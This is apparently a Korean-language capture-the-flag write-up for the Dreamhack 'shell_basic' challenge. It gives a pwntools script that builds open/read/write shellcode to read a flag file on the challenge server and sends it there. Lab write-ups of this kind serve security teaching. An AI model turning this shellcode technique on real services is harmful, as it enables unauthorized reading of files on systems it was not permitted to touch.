[ Dreamhack ] shell_basic
포스트
취소

[ Dreamhack ] shell_basic



문제 분석


execve함수 등을 사용하지 못하는 것을 보니 flag 파일을 읽을 수 있는 쉘코드를 직접 작성해야 한다.



문제 풀이


pwntools의 shellcraft를 이용하여 쉘 코드를 작성하면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

p = remote('host3.dreamhack.games', 9412)

context.arch = 'amd64'
r = "/home/shell_basic/flag_name_is_loooooong"

shellcode = ''
shellcode += shellcraft.open(r)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)

shellcode = asm(shellcode)

p.sendlineafter('shellcode: ', shellcode)
p.recvline()



코드를 실행하면 flag를 얻을 수 있다.